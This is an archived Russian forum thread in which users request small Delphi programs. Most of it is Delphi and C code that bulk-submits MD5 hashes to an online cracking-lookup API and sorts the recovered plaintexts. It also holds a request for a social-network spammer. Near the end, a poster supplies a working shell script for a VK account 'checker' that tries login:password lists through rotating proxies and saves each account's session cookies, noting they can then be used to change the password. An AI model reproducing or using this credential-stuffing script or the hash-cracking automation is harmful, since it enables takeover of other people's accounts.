PDA

Просмотр полной версии : пишу на делфи(бесплатно)


Vlad3d
30.07.2009, 00:43
Пишу бесплатно не сложные програмки на делфи......Для общего развития в сфере программирования на делфи....аська на аве

Andres
30.07.2009, 00:54
"Несложные"
Например?

-=Sinner=-
30.07.2009, 01:06
напиши спамер для вк/одн я даже бонусом награжу )
если интересно то пиши icq 73373309

ErrorNeo
30.07.2009, 01:18
задание #1.


имеем:
-----------------------------------------------------
*формат url:

http://hashkiller.com/api/api.php?md5=098f6bcd4621d373cade4e832627b4f6098f6b cd4621d373cade4e832627b4f6 тут - MD5 хэш (строка из 32 символов).
+
*файл, содержащий много строк с хешами. т.е. в каждой строке по 32 символа.
(название файла фиксированное, скажем, input.txt)


требуется:
------------------------------------------------------
минимум:
слать поочередно все хеши (32 символьные строки) через указанный выше запрос, и записывать ответы сервера в отдельный файл.

желательно:
1. в зависимости от ответа - а их может быть 2 вида. Сравни к примеру запросы

http://hashkiller.com/api/api.php?md5=098f6bcd4621d373cade4e832627b4f6
и
http://hashkiller.com/api/api.php?md5=00000000000000000000000000000000ну так вот... ответы с "true" желательно записывать в один файл, а с false - в другой.

ну и само слово true и false в сами файлы писать ессно не надо.

2.
хорошо бы вывести в окно программы счетчики успешных и сфейленных запросов. Так.. просто чтобы было.
Ну и, когда программа закончит проверку - она должна об эотм тоже как-то сообщать. (например где-то в еню программки может появляться надпись "готово")


================================
p.s.
если для тебя это слишком легко - скажу задание посложнее. Смотря насколько сложное тебе нужно :)

plas
30.07.2009, 07:53
С мс-офисным пакетом работал?

Vlad3d
30.07.2009, 15:07
ErrorNeo

сделаю возможно сегодня ночью...

С мс-офисным пакетом работал?
а что именно надо?

zeppe1in
30.07.2009, 17:14
ErrorNeo
такое надо на перле. 5 минут делов)

ex3me
01.08.2009, 00:54
ErrorNeo

Моя реализация с помощью инди10

[+] Выполняет все, что надо, после отработки просто закрывается консольное окно
[-] Фиксированные имена файлов
[-] Кривой код, размер файла, использование инди
[-] Нету счетчика (да и нах он, если запросы выполняются моментально?)
[-] Out файлы каждый раз перезаписываются заново


program Project1;

uses
Windows, idHTTP, Classes;

{$APPTYPE CONSOLE}

var

http : TIdHTTP;
in_list, true_list, false_list : TStrings;
iCh, sPos, sPos2, sPos3 : integer;
tmp, response_result : string;

begin

in_list := TStringList.Create;
true_list := TStringList.Create;
false_list := TStringList.Create;
in_list.LoadFromFile('input.txt');


http := TIdHTTP.Create();

for iCh := 0 to in_list.Count -1 do begin

tmp := http.Get('http://hashkiller.com/api/api.php?md5='+in_list.Strings[iCh]);
sPos := pos('true',tmp);
sPos2 := pos('false',tmp);
sPos3 := pos('<plain>',tmp);

if sPos<>0 then begin
response_result:=copy(tmp,sPos3+7,length(tmp)-145);
writeln(in_list.Strings[iCh]+' : '+response_result);
true_list.Add(in_list.Strings[iCh]+' : '+response_result);
end;

if sPos2<>0 then begin
false_list.Add(in_list.Strings[iCh]+' : '+'NOT FOUND');
end;

end;

false_list.SaveToFile('false.txt');
true_list.SaveToFile('true.txt');

http.Free;
in_list.Free;
true_list.Free;
false_list.Free;

end.



З.Ы. Заодно нашел все нужные мне хеши, которые даже хешкряк.инфо не осилил =\ Быстро пади у них работают негры :D

AquaKlaster
01.08.2009, 01:17
ErrorNeo
такое надо на перле. 5 минут делов)
Зачем перл на дельфи тож работы на 5 мин, если знаешь своё дело!

Vlad3d
01.08.2009, 22:22
сорри работы было в аське много...только щас смог зайти сюда....

[n]-c0der
01.08.2009, 23:33
задание #1.


имеем:
-----------------------------------------------------
*формат url:

http://hashkiller.com/api/api.php?md5=098f6bcd4621d373cade4e832627b4f6098f6b cd4621d373cade4e832627b4f6 тут - MD5 хэш (строка из 32 символов).
+
*файл, содержащий много строк с хешами. т.е. в каждой строке по 32 символа.
(название файла фиксированное, скажем, input.txt)


требуется:
------------------------------------------------------
минимум:
слать поочередно все хеши (32 символьные строки) через указанный выше запрос, и записывать ответы сервера в отдельный файл.

желательно:
1. в зависимости от ответа - а их может быть 2 вида. Сравни к примеру запросы

http://hashkiller.com/api/api.php?md5=098f6bcd4621d373cade4e832627b4f6
и
http://hashkiller.com/api/api.php?md5=00000000000000000000000000000000ну так вот... ответы с "true" желательно записывать в один файл, а с false - в другой.

ну и само слово true и false в сами файлы писать ессно не надо.

2.
хорошо бы вывести в окно программы счетчики успешных и сфейленных запросов. Так.. просто чтобы было.
Ну и, когда программа закончит проверку - она должна об эотм тоже как-то сообщать. (например где-то в еню программки может появляться надпись "готово")


================================
p.s.
если для тебя это слишком легко - скажу задание посложнее. Смотря насколько сложное тебе нужно :)
работы на 2 минуты =)

ex3me
01.08.2009, 23:50
Вот честно: сижу и читаю какие все тут блатные кодеры... Все умные прям такие... 2 минуты, 5 минут и т.д.

Ну так сделай, напиши, покажи. Что зря посты кидать в два слова?

Если ты действительно можешь хотябы такой код, как у меня накропать за 2 минуты (или 5 минут), а потом это все дело хоть маломальски отладить - запиши видео, а мы поглядим, как ты стираешь пальцы о клавиатуру, чтобы уложиться в лимит времени.

Согласен, задание легкое... И легкое только тем, что не обременено какими-нить кукисами или извращенным парсингом.

Да, это не тема для обсуждения задания ErrorNeo, но тем не менее - покажите на что ВЫ способны (если конечно, не только языками умеете молоть). А может кто осилит на чистом WinAPI+winsock сделать? Дабы размер ехе не привысил 50кб

З.Ы. Извиняюсь, накипело

dnd
02.08.2009, 01:08
ex3me
ну зачемже winsock? можно на wininet и тогда размер не превысит 50кб ;)

ErrorNeo
02.08.2009, 03:25
:) ну да, так оно, в общем-то, и должно работать, ex3me.
задача действительно совсем-совсем несложная)

задачей номер 2 будет разобраться как написать то же самое только с вин-апи :D
В данном примере пользы от этого будет не много, но все же разобраться стоит - как раз на таком элементарном примере. Потому как в большинстве реальных задач вин-апи просто необходим(

ex3me
02.08.2009, 03:59
WinAPI+winsock, winAPI+winInet?

Я в АПИ туговат, посему ненаю как работать на АПИ с сетью ))

dnd
02.08.2009, 04:49
winInet это и есть api)))

__mad
03.08.2009, 02:23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#if defined _WIN32
#include <winsock.h>
#define sleep(x) Sleep(x)
#define close(x) closesocket(x)
#pragma comment(lib, "ws2_32.lib")
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#endif

static char *fetch_url(const char *, const char *, int *);

int main(int argc, char *argv[])
{
FILE *in, *out_bad, *out_good;
char *body;
char hash[34];
char url[64];
int g = 0, b = 0;

if (argc < 2 || argc > 3) {
printf("%s <input>\n", argv[0]);
return 1;
}
in = fopen(argv[1], "rb");
if (!in) {
perror("fopen");
return 1;
}

out_bad = fopen("bad_hash", "wb");
out_good = fopen("good_hash", "wb");

while (!feof(in)) {
fscanf(in, "%s\n", hash);
sprintf(url, "/api/api.php?md5=%s", hash);
body = fetch_url("hashkiller.com", url, 0);
if (strstr(body, "false")) {
printf("[-] Hash not found %s\n", hash);
fprintf(out_bad, "%s\n", hash);
b++;
} else {
printf("[+] Hash found %s\n", hash);
fprintf(out_good, "%s\n", hash);
g++;
}
}

printf("[i] Hash checking complete\n"
"\t%d good hash\n"
"\t%d bad hash\n", g, b);

return 0;
}

int hard_fetch_ip = 0;

#define MAX_LEN 1024

static char *fetch_url(const char *host, const char *url, int *res_len)
{
struct hostent *phe;
struct sockaddr_in sin;
int s, len, len_respose;
char *body_send;
char *body_recv;
char *body_response;

#if defined _WIN32
WSADATA wsaData;
WSAStartup(0x101, &wsaData);
#endif

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1) {
perror("socket");
return NULL;
}

if (!hard_fetch_ip) {
phe = gethostbyname(host);
if (phe == NULL) {
perror("gethostbyname");
return NULL;
}
hard_fetch_ip = ((struct in_addr*)phe->h_addr_list[0])->s_addr;
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = hard_fetch_ip;
sin.sin_port = htons(80);

if (connect(s, (struct sockaddr*)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
return NULL;
}

body_send = (char *)malloc(MAX_LEN);
body_recv = (char *)malloc(MAX_LEN);
body_response = (char *)malloc(MAX_LEN);

memset(body_response, 0, MAX_LEN);
len_respose = 0;

sprintf(body_send,
"GET /%s HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"Accept: */*\r\n\r\n", url, host);

send(s, body_send, strlen(body_send), 0);

int new_len = MAX_LEN;
char *tmp;

do {
len = recv(s, body_recv, MAX_LEN, 0);
len_respose += len;
if (len_respose > new_len) {
new_len = new_len * 2;
body_response = (char *) realloc(body_response, new_len );
}
memcpy(body_response + (len_respose - len), body_recv, len);
} while (len);

// remove headers
tmp = strstr(body_response, "\r\n\r\n");
len_respose -= (tmp - body_response + 4);
memcpy(body_response, tmp + 4, len_respose);


free(body_recv);
free(body_send);
close(s);

if (res_len) {
*res_len = len_respose;
}
return body_response;
}


GNU/Linux

$ gcc check-hash.c -Wall -o check-hash
$ ./check-hash input.txt
[+] Hash found 098f6bcd4621d373cade4e832627b4f6
[+] Hash found 098f6bcd4621d373cade4e832627b4f6
[-] Hash not found 00000000000000000000000000000000
[-] Hash not found 23423423842378947289374892734897
[i] Hash checking complete
2 good hash
2 bad hash

Windows

$ i586-mingw32msvc-gcc check-hash.c -Wall -lws2_32 -o check-hash.exe
$ wine ./check-hash.exe input.txt
[+] Hash found 098f6bcd4621d373cade4e832627b4f6
[+] Hash found 098f6bcd4621d373cade4e832627b4f6
[-] Hash not found 00000000000000000000000000000000
[-] Hash not found 23423423842378947289374892734897
[i] Hash checking complete
2 good hash
2 bad hash

ErrorNeo
04.08.2009, 23:54
...
o my god :eek:

ну какбе да.)
красива

drummashins
05.08.2009, 00:01
Можешь написать чекер вк?
что бы с прокси работал

ErrorNeo
05.08.2009, 00:14
Можешь написать чекер вк?
что бы с прокси работал
а прогу для взлома интернета тебе не надо?

если нужен хороший чеккер - иди в соответствующий раздел и заказывай за деньги!
нашолся тут, умнеГ.

__mad
05.08.2009, 17:04
Можешь написать чекер вк?
что бы с прокси работал


#! /bin/sh

if [ -z $1 ]; then
echo "$0 <login and pass file> <proxy-file>"
exit
fi

mkdir cookie 2>/dev/null

while read auth
do
export http_proxy=`shuf $2 | head -1`
LOGIN=${auth%:*}
PASS=${auth#*:}
if [ -n "$LOGIN" -a -n "$PASS" ]; then
wget -q -O - "vkontakte.ru/login.php?email=$LOGIN&pass=$PASS" --save-cookies "cookie/"${LOGIN%@*} > /dev/null
fi
done < $1

Запускать так:

$./check.sh login proxy

После чека, в этой директории появится папаке cookie, в которой будут находится файлы с куками для каждого юзера. Потом все это можно прогнать через тот же вгет и, например поменять пасс.

sn0w
05.08.2009, 19:03
да, а мне плз проигрыватель IPTV =)